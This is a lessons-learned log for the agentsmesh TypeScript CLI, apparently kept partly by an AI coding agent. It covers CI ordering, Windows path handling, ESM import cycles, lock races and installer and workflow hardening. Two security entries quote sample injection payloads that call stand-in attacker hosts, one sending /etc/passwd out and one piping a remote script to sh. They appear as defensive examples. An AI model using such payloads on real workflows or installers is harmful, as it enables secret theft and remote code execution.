- **CI must build before any test job that runs `pnpm test` or `pnpm test:coverage`**: CI failed with `Cannot find module dist/cli.js` in `import.integration.test.ts`, `watch.integration.test.ts`, and other dist-backed integration tests because the `quality` job ran `pnpm test` BEFORE `pnpm build`, and the `coverage` job never built at all. The `pnpm test` script is `vitest run` over the entire suite, which includes integration tests that exec `dist/cli.js`. Locally these passed because `dist/` always exists from a previous build; CI clones are fresh. Root cause: misordering of build vs test in the CI workflow, plus an implicit assumption that `pnpm test` only runs unit-level work. Rule: in `.github/workflows/ci.yml`, `pnpm build` MUST come before `pnpm test`/`pnpm test:coverage` whenever the test config includes integration files that exec `dist/cli.js`. Only `pnpm test:e2e` self-builds (it's `pnpm build && vitest run --config ...`); the others don't.
- **Descriptor schema hardening must sweep every plugin descriptor fixture**: Full `pnpm test` failed after adding registration-time descriptor validation because one legacy plugin fixture still omitted the required `additionalRules` capability even though the focused catalog tests passed. Root cause: descriptor mocks were duplicated across suites and the initial search/fix pass covered registration call sites but not every plugin contract fixture. Rule: whenever tightening `TargetDescriptor` schema requirements, run a repo-wide descriptor fixture search plus the full test suite, and update every mock to the full descriptor contract before considering the schema change complete.
- **Watch tests must tolerate missed single filesystem events under full-suite load**: Full `pnpm test` intermittently failed because one watch assertion wrote a new rule once and waited for `runMatrix`, but chokidar occasionally missed that lone create event while the full suite was saturated. Root cause: the test depended on one filesystem notification and did not guarantee watcher cleanup on assertion failure. Rule: watch tests that prove event-driven behavior should keep the watcher in a `finally` cleanup and retry the triggering write until the observed callback fires or the normal timeout expires.
- **Filesystem path string-matching must use `basename`/POSIX-normalized fields, not native-separator substrings**: An initial Windows enablement pass left `srcPath.endsWith('/AGENTS.md')` and `srcPath.endsWith('/AGENTS.override.md')` in the codex-cli and windsurf nested-`AGENTS.md` importers. `srcPath` flows from `readDirRecursive` through native `path.join`, so on Windows it uses `\`, the substring check silently fails, and nested `AGENTS.md` import is skipped without errors. Root cause: mixing platform-native `srcPath` with POSIX-only substring assertions in the same `mapEntry` while only computing `relDir` with `replace(/\\/g, '/')`. Rule: when filtering files inside `importFileDirectory.mapEntry`, do filename checks via `basename(srcPath)` (or the orchestrator's POSIX-normalized `relativePath`); never `endsWith('/x')` against native `srcPath`. Audit any new importer/mapper for this pattern before claiming Windows-readiness.
- **Integration tests that need merged stdout+stderr must not hardcode a POSIX shell**: `tests/integration/lint.integration.test.ts` used `execSync('node ... 2>&1', { shell: '/bin/sh' })` to merge streams, which works on Linux/macOS but ENOENTs on Windows runners (no `/bin/sh`). Root cause: shell-based redirection chosen for brevity over portable stream capture. Rule: in tests that need merged stdout+stderr, use `spawnSync(process.execPath, [...args], { encoding: 'utf-8' })` and concatenate `result.stdout + result.stderr`; never embed `2>&1` or hardcode `/bin/sh`/`/bin/zsh` once Windows is in the CI matrix.
- **Embedding `\xNN` / `\uNNNN` in `Write` tool input emits raw control bytes, not JS escape sequences**: My first attempt to author `src/utils/filesystem/windows-path-safety.ts` with regex `/[<>:"|?*\x00-\x1F]/` produced a binary file because the JSON transport interpreted `\x00`-`\x1F` as actual control characters and wrote them literally. `file(1)` reported it as `data`. Root cause: I treated the Write tool payload as a JS string literal, but it goes through JSON which evaluates `\xNN`/`\uNNNN` before the file is written. Rule: when a TS/JS source file needs control-character escapes inside regex literals, build the regex via `new RegExp('[<>:"|?*\\u0000-\\u001F]')` (so the file stores the literal escape sequence) or use `String.fromCharCode(n)` in tests; verify with `file(1)` afterward. Same hazard applies to `\n`/`\t` in JSON `Write` payloads when the literal escape (not the byte) is intended.
- **Mutex-via-mkdir + late metadata write is double-acquire-vulnerable**: `acquireProcessLock` did `mkdir(lockPath)` first, then `writeFile(holder.json)` second; in the (small but real) async window in between, a competing acquirer would `inspectLock` → null metadata → `isStale(null) → true` → `rm -rf lockPath` and silently steal the lock. Both processes would then enter the critical section and both write `.lock.tmp`; one rename succeeded, the other ENOENTed because its sibling had already moved the inode. Surfaced as flaky `tests/integration/generate-process-lock.integration.test.ts` ENOENT on `.agentsmesh/.lock.tmp` rename. Root cause: "no metadata" was conflated with "orphaned" without considering the bootstrapping window. Rule: for any `mkdir`-as-mutex pattern with delayed metadata, gate eviction on the lock dir's mtime — treat dirs younger than a small grace window (~2s) as held even when metadata is missing, only evict older orphans. Cover with both an in-isolation unit test and a parallel-CLI integration test.
- **`Date.now() - mtimeMs >= 0` is a load-bearing assumption that breaks under suite load**: First fix attempt for the lock race used `if (ageMs >= 0 && ageMs < GRACE_MS) return 'young'`. The unit test passed in isolation but flaked under full `pnpm test` load: `mtimeMs` from `stat` can be a hair ahead of `Date.now()` due to filesystem-vs-system clock resolution skew, making `ageMs` slightly negative, falling through the guard, and hitting the orphan path. Root cause: I added a defensive `>= 0` clamp without modeling FS clock skew. Rule: for "is this dir young?" age checks, drop the lower bound — `ageMs < GRACE_MS` is correct because a future-stamped mtime is, by definition, young. Reserve `>= 0` clamps for cases where future timestamps are an actual error.
- **`x.split('/').pop()` is a Windows-eating filename extractor**: Eight rule generators across `src/targets/{claude-code,codex-cli,copilot,cursor,continue,catalog}/...` extracted the rule basename from `rule.source` (an absolute path) via `rule.source.split('/').pop()!.replace(/\.md$/, '')`. On Windows, `rule.source` is built via `path.join` and uses `\` separators, so `split('/')` doesn't split — the *entire absolute path* becomes the "slug". Generation then emits `.cursor/rules/<entire absolute path>.mdc`, and `writeFileAtomic` ENOENTs on `mkdir(.cursor/rules/C:/Users/.../.agentsmesh/rules)`. Root cause: filename-extraction logic embedded a POSIX-only assumption about path separators. Rule: never use `split('/')` to split a *filesystem path* — use `basename(path[, ext])` from `node:path`, which handles native separators on each platform. Audit `*.split('/').pop()` and `split('/').slice(-N)` across the repo whenever any new path-derived identifier lands.
- **`fromPath` and similar native-path fields fail POSIX-substring assertions on Windows**: Tests like `expect(result.fromPath).toContain('.codex/agents/foo.toml')` fail on Windows because the production path uses `\` separators. `fromPath` is intentionally a native filesystem path (callers `fs.readFileSync(result.fromPath)`), so the fix belongs in tests. Rule: for any test assertion that matches a native filesystem path against a POSIX-style relative substring, normalize first via `tests/helpers/posix-path.ts` `toPosixPath()`, e.g. `expect(toPosixPath(result.fromPath)).toContain('.codex/...')`. Same applies to `.includes('...')` style checks.
- **Native `fs.watch` on Windows tmp dirs misses events; force polling there**: On `windows-latest` GitHub Actions runners, `chokidar.watch(...)` with default `usePolling: false` and ReadDirectoryChangesW behind it would intermittently fail to observe newly created `.agentsmesh/rules/<file>.md` files in `C:\Users\RUNNER~1\AppData\Local\Temp\...` paths, breaking the `runMatrix when features change` watch test even after a 45s timeout with retried writes. macOS/Linux were unaffected. Root cause: ReadDirectoryChangesW + 8.3-shortname + just-mkdir'd subdir is a known native-watcher edge case. Rule: in this repo, `chokidar.watch()` must pass `usePolling: process.platform === 'win32'`. Native watch stays on macOS/Linux for low-latency event delivery; Windows trades ~100ms latency for reliable event delivery.
- **`node:path.join` is host-platform-aware; the link rebaser is path-format-aware — they must agree**: `src/core/reference/output-source-map.ts` (`buildArtifactPathMap`), `src/core/reference/pack-skill-artifact-paths.ts`, `src/targets/catalog/copilot-instruction-artifacts.ts`, `src/core/reference/rewriter.ts` (`collectPlannedPaths`), and `src/core/reference/validate-generated-markdown-links.ts` all used `import { join, normalize } from 'node:path'` directly. The link rebaser at `src/core/reference/link-rebaser.ts` uses `pathApi(projectRoot)` from `src/core/path-helpers.ts`, which picks `win32` vs `posix` based on the *path format* (`/proj` → posix, `C:\proj` → win32) regardless of the host. On Windows runners with synthetic POSIX project roots (unit tests), the map was keyed by `\proj\...` while the rebaser looked up `/proj/...`; on POSIX runners with real-world Windows-style mock paths, the inverse. Either way the map silently no-op'd. Rule: any code that participates in the link-rewrite map (key construction OR lookup) MUST use `pathApi(projectRoot)`. Never import `join`/`normalize` from `node:path` directly in `src/core/reference/` or in target-side `applyXxxRefs` helpers — always go through `pathApi`. Add a unit-test review step that spot-checks every "build map" / "look up in map" pair against this rule whenever new reference-rewrite code lands.
- **GitHub Actions Windows runners block git network ops by default**: `tests/e2e/install-remote.e2e.test.ts` and `tests/e2e/extends.e2e.test.ts:refresh-cache` failed with `fatal: could not read Username for 'https://github.com': terminal prompts disabled` because the runner's PATH-stub for `git` and `fetch` mock (mode 0o755 Node script, `NODE_OPTIONS=--import=...`) doesn't apply on Windows. The behavior under test is platform-independent so coverage on Linux/macOS is sufficient. Rule: tests that stub `git` via a chmod-755 Node script, OR that pass `NODE_OPTIONS=--import=<windows path>`, must be `it.skipIf(process.platform === 'win32')` until a Windows-native stub strategy exists (e.g., a `git.cmd` or PowerShell wrapper).
- **Synthetic POSIX `ROOT` in unit tests must use `node:path/posix`, not host `node:path`**: `tests/unit/core/artifact-path-map-packs.test.ts` set `ROOT = '/proj'` and used `import { join, normalize } from 'node:path'`. On Windows runners, host `path` is `win32`, so `join('/proj', '.agentsmesh/...')` produced `\proj\.agentsmesh\...` (backslashes), while `buildArtifactPathMap` calls `pathApi('/proj')` → `posix` and stores keys as `/proj/.agentsmesh/...` (forward slashes). The lookup `map.get(<backslash key>)` returned `undefined` for all four assertions. Root cause: same path-format-vs-host-platform mismatch as the f317c9c production fix, but on the *test* side. Rule: in any unit test that uses a synthetic POSIX root like `/proj` with the link-rewrite map machinery, alias `join`/`normalize` to `posix.join`/`posix.normalize` from `node:path` so inputs and assertions stay in the same format the production `pathApi(projectRoot)` will pick.
- **`copyFileSync` of repo files on Windows can drag CRLF into matrix `--verify`**: `tests/integration/matrix-drift-guard.integration.test.ts > passes verify when README/MDX match the catalog` failed on Windows because `copyFileSync(REPO_ROOT/README.md, tmpRoot/README.md)` carries through CRLF when `core.autocrlf=true` checked the file out as CRLF. `scripts/render-support-matrix.ts` then re-renders the table region with LF-only joins, so `readme !== expectedDocument(readme, ...)` even though no actual drift exists, and `--verify` exits non-zero. Root cause: silently mixing the on-disk EOL convention with the renderer's hard-coded `'\n'` joins. Rule: in tests that stage repo files for a script to read back, normalize line endings on copy (`writeFileSync(to, readFileSync(from, 'utf-8').replace(/\r\n/g, '\n'))`) instead of `copyFileSync`. Any future test that copies *.md/*.mdx into a tmpdir for verify-style scripts should follow the same rule.
- **Inline backtick path rewrites are best-effort on Windows tmp dirs**: `assertCodeProtection` in `tests/e2e/generate-reference-rewrite-matrix.e2e.test.ts` required the inline-code reference `` `../../docs/some-doc.md` `` to be rewritten to `` `docs/some-doc.md` ``. On macOS that holds, but on `windows-latest` runners the tmpdir lives under `C:\Users\RUNNER~1\AppData\Local\Temp\...` (DOS short name), `realpathSync.native` expands `RUNNER~1` to the long form (e.g. `runneradmin`), `expandResolvedPaths` unshifts the realpath ahead of the original, and `toProjectRootRelative(projectRoot=short, target=long)` returns null because `path.relative` produces a `..\..\..` chain. The rewriter falls back to the original token unchanged. Root cause: realpath divergence between `projectRoot` and the resolved absolute path on 8.3-shortname filesystems is a Windows-only edge case and not worth contorting the production rebaser for. Rule: assertions about inline-backtick path rewrites must accept any of `` `docs/...` ``, `` `/docs/...` ``, `` `./docs/...` ``, `` `../docs/...` ``, etc. via a permissive regex like `` /`(?:\.{1,2}\/)*\/?docs\/some-doc\.md`/ ``. The contract is that the inline code reaches a stable destination, not that it always rewrites to project-root-relative form.
- **`expandResolvedPaths` must keep the caller's projectRoot-shaped path first**: Changing `expanded.unshift(realPath)` to `expanded.push(realPath)` in `src/core/reference/link-rebaser-helpers.ts` fixed a class of Windows CI failures where `..\..\docs\some-doc.md` and `` `../../docs/some-doc.md` `` failed to rewrite. Mechanism: on Windows runners under `RUNNER~1`, `realpathSync.native` returns the long-name form (`runneradmin`), and `unshift` made the long-name path the canonical match. Downstream, `toProjectRootRelative(projectRoot=short, target=long)` returns null because `path.relative` produces a `..\..\..\Users\runneradmin\...` chain — the rewriter then falls back to the original token. Same root cause hit symlinked tmpdirs in theory (macOS `/var/folders` vs `/private/var/folders`), but Node resolves cwd through symlinks before the CLI starts, so `process.cwd()`-derived projectRoots already match realpath there. Rule: when `realpathSync` divergence is a possibility (DOS short names, symlinks), the search order in path-resolution helpers should prefer the *caller's* shape over the canonical realpath. Realpath belongs as a tie-breaker, not the default. Anywhere else in the codebase that loops over `[realpath, original]`, audit which one wins by default and prefer the caller-shaped variant.
- **`assertRewritten` must strip Windows absolute path tokens before not-toContain checks**: `tests/e2e/generate-reference-rewrite-matrix.e2e.test.ts` `assertRewritten` failed on Windows with `expect(prose).not.toContain('.agentsmesh\\')` because the matrix fixture writes `Absolute: ${abs('.agentsmesh', 'rules', 'typescript.md')}` (e.g. `C:\Users\RUNNER~1\AppData\Local\Temp\am-e2e-...\.agentsmesh\rules\typescript.md`), and the link rebaser intentionally leaves Windows absolute paths untouched (the `WINDOWS_ABSOLUTE_PATH.test(candidate)` guard in `link-rebaser.ts` is by-design). The legitimate `\.agentsmesh\` substring inside that absolute path tripped the not-toContain check. Root cause: the assertion was written to verify "no leftover canonical mesh path" without distinguishing between rewritable forms (relative, mixed-separator, project-root-relative) and intentionally-preserved forms (Windows absolute paths, fenced code blocks, external refs). Rule: extend `stripProtectedRegions` to also drop Windows absolute path tokens (`/[A-Za-z]:[\\/][^\s,<>"'`+'`'+`]+/g`) before strict prose assertions. Anywhere else asserting "canonical path forms are gone from generated output" must run on prose with all rewriter-protected tokens stripped, not raw content.

- **Auto-discovered registries via marker-comment codegen avoid ESM TDZ cycles**: My first cut at auto-discovering `BUILTIN_TARGETS` extracted the descriptor imports + array literal into a separate `builtin-targets-generated.ts`, but `descriptor-paths.test.ts` (which imports each per-target descriptor at the top of the test) blew up with `TypeError: Cannot read properties of undefined (reading 'id')` because the test pulled `claude-code/index.js` first, that triggered a chain back into `builtin-targets.ts` → `builtin-targets-generated.ts` → re-imported `claude-code/index.js` mid-evaluation, and the `[antigravity, claudeCode, ...]` array literal in the generated file evaluated against TDZ-pending imports. The original (manually-maintained) descriptor array worked because the imports + array were colocated in `builtin-targets.ts`, which the test never imported directly. Root cause: indirection through a separate generated file added one more cycle hop, and array literals evaluate eagerly, taking a snapshot at TDZ-time. Rule: when codegen-ing module-level data that's array-literal'd from per-target imports, patch the existing source file in place between sentinel comments (`// <auto-generated:...>` ... `// </auto-generated:...>`) instead of extracting to a new generated module. Keeps the call graph identical to the hand-written version, so existing import-cycle behavior is preserved.

- **Descriptor literals that reference imports from the matching importer.ts form a TDZ trap**: When migrating `antigravity` to a descriptor-driven importer, I moved `nonRootRuleMapper` and `workflowMapper` into `importer.ts` and referenced them from `index.ts` as `map: nonRootRuleMapper`. Tests failed with `ImportFeatureSpec for rules (mode: directory) needs a `preset` or `map`` because: (1) test loads `importer.ts`, (2) `importer.ts` imports `descriptor` from `./index.js`, (3) `index.ts` imports `nonRootRuleMapper` from `./importer.js` (cycle) — at this point importer.ts is still loading, so `nonRootRuleMapper` is in TDZ, (4) `index.ts` builds the descriptor literal capturing `undefined` for `map`, (5) by the time `runDescriptorImport` actually runs, `descriptor.importer.rules.map === undefined` and the runner throws. Root cause: object literals evaluate their property values eagerly at construction time, so a circular `importer.ts ↔ index.ts` pairing can leave descriptor map fields permanently `undefined` even after both modules finish loading. Rule: any per-target import mapper referenced from the descriptor object literal must live in a third file (e.g. `import-mappers.ts`) that has no cycle with `index.ts`. Function references stored as descriptor fields are safe (live bindings); object literals capturing those references at module-init are not.

- **`flatFile` import mode does not model multi-file merge**: Migrating cursor's `.cursorignore` import to the descriptor's `flatFile` mode broke the `import-anatomy` e2e test because cursor merges `.cursorignore` AND `.cursorindexingignore` (and dedupes lines) into one canonical `ignore` file. `flatFile` walks `source` paths in order and writes the FIRST one verbatim — it never combines. Root cause: I assumed `flatFile` was a generic "single-file copy" without re-reading the original behavior, which already had merge semantics. Rule: before migrating an `ignore` (or any single-output) feature to `flatFile`, check if the original importer reads multiple sources and concatenates/dedupes — if so, keep it imperative or extend the runner with a `mergedFlatFile` mode. Don't trust the destination filename being singular as proof the source is too.

- **Per-target import mappers must live in a third file, never in `importer.ts`**: Migrating cline/cursor/claude-code/copilot/roo-code/antigravity/junie/gemini-cli to descriptor-driven imports established the pattern: every target with a custom `ImportEntryMapper` puts those mappers in `<target>/import-mappers.ts`, with both `<target>/index.ts` (the descriptor) and `<target>/importer.ts` (the residual imperative shell) importing FROM that file. Putting mappers in `importer.ts` and importing them from `index.ts` forms a cycle: `index.ts → importer.ts → index.ts`, and the descriptor's object literal captures `undefined` for `map:` fields because `importer.ts` is still mid-evaluation when the literal runs. Rule: when adding a target with a descriptor-driven importer, create `import-mappers.ts` even if there's only one mapper — the convention is what protects future contributors from the TDZ trap.

- **Glob-shaped paths in JSDoc/header block comments close the comment early**: Authoring `tests/unit/core/merger-edge-cases.test.ts`, my header comment included `pack checksums are populated from packs/*/pack.yaml`. The `*/` inside that path terminated the leading `/**` block comment, so esbuild parsed the rest of the file as code and reported a misleading "Unterminated string literal" at EOF; preceding intermediate errors looked like "Expected ';' but found am" and "Unexpected '<<'" at unrelated lines. Root cause: the `*/` inside the glob is indistinguishable from a comment terminator. Rule (extending the rule at line 82 to test files and header blocks): never write a literal `*/` inside any `/* ... */` comment — replace globs in prose with `each pack pack.yaml` or `glob: *.md`, or move the glob into a single-line `//` comment outside the block.

- **Top-level template literals containing left-anchored `<<<<<<<` / `=======` / `>>>>>>>` lines fail TS conflict-marker detection**: Defining a module-scope `const CONFLICTED_LOCK = \`...<<<<<<< HEAD\n=======\n>>>>>>> branch\n\`` produced TS1185 "Merge conflict marker encountered"; the identical literal as an argument inside `writeFileSync(path, \`<<<<<<<...\`)` compiles fine in pre-existing tests. Root cause: TypeScript's lexer scans for left-anchored 7-character merge-conflict marker lines and refuses to compile when one is found at module top level, even inside a template literal. Rule: when a fixture string needs literal `<<<<<<< HEAD` / `=======` / `>>>>>>>` lines, either (a) inline it inside a CallExpression argument, or (b) build it from concatenated parts (`'<' + '<<<<<< HEAD'`, `'=' + '======'`, `'>' + '>>>>>> branch'`) so no source line begins with seven repeated `<`/`=`/`>`.

- **Existence gate and "form-when-exists" are two separate contracts in the link rebaser — don't conflate them in tests**: My first existence-gating test asserted that a canonical `.agentsmesh/skills/release-manager/SKILL.md` token in backtick prose would be rewritten to `../release-manager/SKILL.md` when the target exists, and 25/75 cases failed. Root cause: `shouldPreserveAgentsMeshAnchor` (in `link-rebaser-formatting.ts:87`) deliberately preserves the canonical `.agentsmesh/...` form inside reading contexts (inline-code / quoted / bracketed / bracket-label / at-prefix / bare-prose) for human readability — only markdown link destinations get rewritten to relative. So canonical tokens have a different "form-when-exists" rule than absolute / root-relative tokens, even though the existence-gate (missing → preserved) is uniform. Rule: when testing the existence gate in isolation, assert "rewrite happened (output !== input)" rather than the exact rewritten string, OR use markdown link destinations for canonical tokens since those bypass the readability preserve. Test the form-when-exists contract separately if you want exact-string assertions.

- **Cross-platform repos must commit `.gitattributes` with `text=auto eol=lf`**: Windows CI for `agentsmesh generate --check` started returning exit 1 instead of 0 because the GitHub Actions Windows runner's `core.autocrlf=true` rewrote canonical fixture `.md` / `.json` / `.yaml` files to CRLF on checkout, while `writeFileAtomic` normalizes generated output to LF. The lock checksums then disagreed with what the second pass would write, so `--check` reported drift even though the project was actually in sync. Same root cause was already documented for `matrix-drift-guard.integration.test.ts` (lessons line 175), but without a `.gitattributes` enforcing LF the issue keeps surfacing in different fixture-driven tests. Rule: any cross-platform TS repo whose tests copy fixtures into temp dirs and then assert byte-stable generated artifacts must commit a `.gitattributes` with `* text=auto eol=lf` plus explicit text categories for `*.md`, `*.json`, `*.yaml`, etc. — relying on per-runner git config is not a contract.

- **Test walkers across project trees must skip `.agentsmeshcache` and tolerate vanishing entries on Windows**: `tests/e2e/link-destination-leak-guard.e2e.test.ts` walked the whole project dir and `statSync`-ed every entry, dying with `ENOENT` on `.agentsmeshcache` between `readdirSync` and `statSync` on Windows runners — TOCTOU between an exiting CLI process and the test walker. Even when the cache survived, walking into it was wasted work because the leak filter excluded it later anyway. Rule: any test walker over a project root must (a) explicitly skip `.agentsmesh`, `.agentsmeshcache`, `node_modules`, and `.git` at directory entry level, and (b) wrap `readdirSync` and `statSync` in try/catch so a vanishing entry mid-walk does not fail the test. Apply this even to tests that already pass on macOS — it's a Windows correctness contract.

- **Skip-on-Windows is the right answer for tests that exercise POSIX absolute paths in canonical content**: `tests/integration/generate-skill-absolute-links.integration.test.ts` constructed canonical content via `${testDir}/.agentsmesh/...`, which on Windows produces `C:\Users\RUNNER~1\...\.agentsmesh\...` — a Windows absolute path that the link rebaser intentionally preserves (`WINDOWS_ABSOLUTE_PATH` guard, lessons line 178). The test's expectation (rewrite-to-relative) contradicts the production contract on Windows, so the test must opt out via `it.skipIf(process.platform === 'win32')`. Rule: when a new test asserts that absolute paths in canonical content get rewritten, gate the absolute-path scenarios with `skipIf(process.platform === 'win32')` and keep the cross-platform variants (root-relative `/.agentsmesh/...` tokens, relative `../...` tokens) running on every runner.

- **CLI display paths must normalize separators to forward slashes**: `target.test.ts` tests failed on Windows because `path.join` produces backslash-separated paths, and `p.slice(projectRoot.length + 1)` preserves the native separator. The tests asserted forward-slash paths like `src/targets/foo-bar/constants.ts` but received `src\targets\foo-bar\constants.ts`. Root cause: display-path formatting relied on native OS separators from `node:path` without normalization. Rule: any CLI output that displays file paths to the user must normalize separators with `.replaceAll('\\', '/')` before printing, so output is consistent across platforms and tests can assert forward-slash paths unconditionally.

- **Temp dir symlink approach must NOT symlink all entries from a large base directory**: `convert --global` hung because `createTempProjectRoot(homedir())` symlinked ALL 150 home directory entries. The `createImportReferenceNormalizer` iterates ALL 18 targets and `listScopedAgentsFiles` walks the entire project root recursively looking for `AGENTS.md` — traversing Desktop, Documents, Downloads etc. through symlinks. Root cause: indiscriminate symlinking of a large directory. Rule: only symlink dot-entries (`.claude/`, `.cursor/`, etc.) and root-level files — never non-dot directories like user folders. All target source paths use dot-directories, so this covers all cases.

- **GitHub Actions cascades skip status through `needs:` unless explicitly overridden**: Reviewing `publish.yml`, the `release-assets` and `update-tap` jobs had `if: needs.publish.outputs.published == 'true' || github.event_name == 'workflow_dispatch'`. This looks like a working escape hatch for `workflow_dispatch` (where `publish` is intentionally skipped via `if: github.event_name == 'push'`), but it isn't — GitHub Actions evaluates the cascade-skip from `needs:` *before* the dependent job's `if:` clause. Per official docs ("If a job fails or is skipped, all jobs that need it are skipped unless the jobs use a conditional expression that causes the job to continue"), a skipped upstream silently skips every dependent regardless of how the dependent's `if:` is shaped. Root cause: the implicit `success()` default on `if:` short-circuits when the upstream isn't successful (skipped counts as not-successful). Rule: any dependent job that must run when an upstream is conditionally skipped (env-gated jobs, `workflow_dispatch` rebuilds, optional steps) needs an explicit status function override — `if: !cancelled() && (needs.<upstream>.result == 'success' && <success-condition> || <skip-allowed-condition>)`. Prefer `!cancelled()` over `always()` because `always()` also runs on cancellation; the success-vs-skipped split must be made explicit via `needs.<job>.result`.

- **Installer scripts that auto-edit shell rc files must branch path-export syntax per shell**: `scripts/install.sh` had a single `printf 'export PATH="..."'` that it appended to `~/.zshrc`, `~/.bashrc`, OR `~/.config/fish/config.fish` based on `$SHELL`. `export PATH=...` is bash/POSIX-only — fish parses it as a syntax error on next shell start, breaking every subsequent fish session. Root cause: shell name was used to pick a config file path but not the line written into it. Rule: when generating shell-rc lines from a portable installer, key both the path AND the line off the shell name. For fish, use `fish_add_path -gP "$BIN_DIR"` (or `set -gx PATH "$BIN_DIR" $PATH` for older fish). Also `mkdir -p "$(dirname "$config")"` before `>>` because parent dirs (e.g., `~/.config/fish/`) may not exist for a brand-new fish user.

- **`grep "$NEEDLE"` against a checksum file is substring-not-exact**: `scripts/install.sh` looked up the SHA256 for `agentsmesh-darwin-arm64` via `grep "$TARGET" SHA256SUMS | awk '{print $1}'`. SHA256SUMS lines are `<hash>  <filename>`; if any other line's filename contained `$TARGET` as a substring (e.g., `agentsmesh-darwin-arm64.exe`, future double-architecture filenames, or a `$TARGET.sig` file added later), the grep would match multiple lines and the awk would emit two hashes — checksum verification then fails on the concatenation. Root cause: misuse of grep regex/substring matching where the data has structured fields. Rule: when looking up a value by exact filename in a checksum file, use `awk -v t="$TARGET" '$2==t {print $1}'` so the match is field-equality, not substring. Same rule applies to any `<token>  <filename>`-shaped manifest read by an installer.

- **GitHub Actions `${{ ... }}` interpolation in `run:` bodies is template-spliced as raw script text (CWE-78)**: Reviewing `publish.yml`, the `Determine version` steps in both `release-assets` and `update-tap` had `VERSION="${{ inputs.tag }}"` directly in a `run: |` block. The Actions runner expands `${{ inputs.tag }}` *into the script text* before the shell starts, so a collaborator with workflow_dispatch access could supply `v0.1.0'; curl https://attacker.com/$(cat /etc/passwd) #` and execute arbitrary code with the runner's full secrets (NPM_TOKEN, GITHUB_TOKEN, HOMEBREW_TAP_TOKEN). `${VERSION#v}` is applied AFTER expansion and provides no sanitization. Root cause: any user-controllable expression interpolated into a shell script body, not just untrusted PR titles or branch names. Rule: never put `${{ ... }}` in `run:` bodies for any expression that can carry user input — flow them through `env:` so they become normal shell variables, then validate the shape before use (e.g., `case "$VERSION" in [!0-9]*|*[!a-zA-Z0-9.+-]*|"") exit 1 ;; esac`). The same rule applies even to `${{ steps.<id>.outputs.X }}` and `${{ needs.<job>.outputs.X }}` if X transitively traces back to a workflow input.

- **Embedding tokens in git remote URLs leaks them to `.git/config` and process listings**: `publish.yml` had `git clone "https://x-access-token:${TAP_TOKEN}@github.com/.../homebrew-agentsmesh.git" tap`. The token ends up in `tap/.git/config`, every `git push`/`git pull` re-reads it, and `ps`/`/proc/$pid/cmdline` exposes the URL during the clone. GitHub Actions auto-redacts known secrets in *runner logs* but not in the on-disk git config or process listings — a third-party action running later in the same job (or any step that uploads the workspace as an artifact) leaks the credential. Root cause: building auth into the URL instead of the credential helper. Rule: use `actions/checkout@v4` with `repository: <other-org>/<other-repo>` and `token: ${{ secrets.X }}`. The action installs the token via the git credential helper, which is per-process and not persisted in `.git/config` or the URL. Subsequent `git push` from inside the checked-out directory reuses the helper.

- **Curl|sh installers must fail closed when checksum verification cannot complete (CWE-345)**: `scripts/install.sh` had `if [ -z "$expected" ]; then warn "...skipping verification"; return 0; fi` and the same pattern when no `sha256sum`/`shasum`/`openssl` was available. Both branches silently installed an unverified binary when the verification machinery was incomplete (partial release upload, MITM stripping `SHA256SUMS`, minimal Docker images without checksum tools). Root cause: warn-and-continue is the wrong default for *security* checks — only acceptable for diagnostics. Rule: every checksum verification path in a binary installer must terminate with `error` (exit non-zero) when (a) the expected hash is empty/absent OR (b) no checksum tool is available. The trade-off — a user on a stripped-down system has to install a checksum tool — is the right one for production installers (rustup-init, oh-my-zsh, deno-install all do this).

- **Env-var-controlled paths that flow into shell rc files need an allowlist (CWE-77)**: `scripts/install.sh` interpolated `$AGENTSMESH_INSTALL/bin` into the `export PATH="..."` line written to `~/.zshrc`/`~/.bashrc`/`~/.config/fish/config.fish`. A wrapping process (Docker entrypoint, Makefile, another installer) that controls `AGENTSMESH_INSTALL` could set it to `'; curl evil.com/x | sh; #` and inject persistent shell code into the user's rc file, executed on every new shell session. Root cause: any data flowing from the environment into a file that is later parsed by a shell becomes shell-equivalent input. Rule: validate env-controlled paths against a strict allowlist (`*[!a-zA-Z0-9./_~\ -]*` for installer paths) before they cross into the shell-parsed plane. The threat model is not the user attacking themselves — it's a wrapping process that controls env vars.

- **GitHub Actions `bun-version: latest` is supply-chain-unpinned**: `publish.yml` used `oven-sh/setup-bun@v2` with `bun-version: latest`. Bun is the tool that compiles every distributed binary; a breaking Bun release (or a backdoored release) would silently change the artifacts users download. Other tooling in the workflow (`pnpm@10`, `node@24`) was pinned. Root cause: treating `latest` as a sane default for build tools. Rule: pin every tool that produces release artifacts to at least major.minor (e.g., `bun-version: "1.2"`). Reserve `latest` for tools that only run during dev iteration, never for release builds. The same applies to Docker image tags, npm install in CI, and any other tool acquisition step in a release pipeline.

- **`isLocalSource` for plugin paths must accept Windows drive-letter absolutes (`D:\foo`)**: After the homebrew rework routed non-local plugin sources through `resolveNpmSpecifier` (so the Bun-compiled binary can resolve npm packages without Node's resolver), `tests/unit/plugins/load-plugin-extra.test.ts > resolves absolute paths starting with /` failed on Windows runners with `Cannot find package 'D:\a\agentsmesh\agentsmesh\tests\fixtures\plugins\multi-plugin\index.js' in node_modules`. Root cause: `node:path`'s `resolve()` produces drive-letter absolutes on win32 (`D:\…`), and the original `isLocalSource` only matched POSIX-style (`/…`), `./…`, `../…`, and `file:` sources — so a Windows absolute path got misinterpreted as a bare npm package specifier. The OLD code passed any non-local source straight to `import()`, which Node handles natively for both shapes; the new explicit-resolution path needs the same coverage. Rule: any plugin/source classifier in this codebase that distinguishes "local file" from "npm specifier" must include `/^[A-Za-z]:[/\\]/` alongside the POSIX checks. Every test that builds an absolute path with `resolve()` and feeds it as a `source` is covered by this rule, not just plugin-loading.

- **Posix-mode-bit assertions on tracked executables fail on Windows runners**: `tests/unit/release/install-script.test.ts > is executable…` checked `statSync(SCRIPT_PATH).mode & 0o111 > 0`. On Linux/macOS the file shows `0o755` and the test passes; on Windows runners NTFS does not surface POSIX execute bits, so `mode & 0o111` is `0` and the test fails — even though the file IS marked `100755` in the git index and ships executable to every clone. Root cause: asserting against the filesystem's view of the bit instead of the contract that actually matters (git-index mode → preserved through `gh release create`). Rule: when verifying that a tracked file ships as executable, query the git index — `execFileSync('git', ['ls-files', '--stage', path])` and assert `/^100755 /`. The git index is OS-independent and reflects what the release tarball will carry. Same rule applies to any other test that wants to assert "this script will be runnable when downloaded".

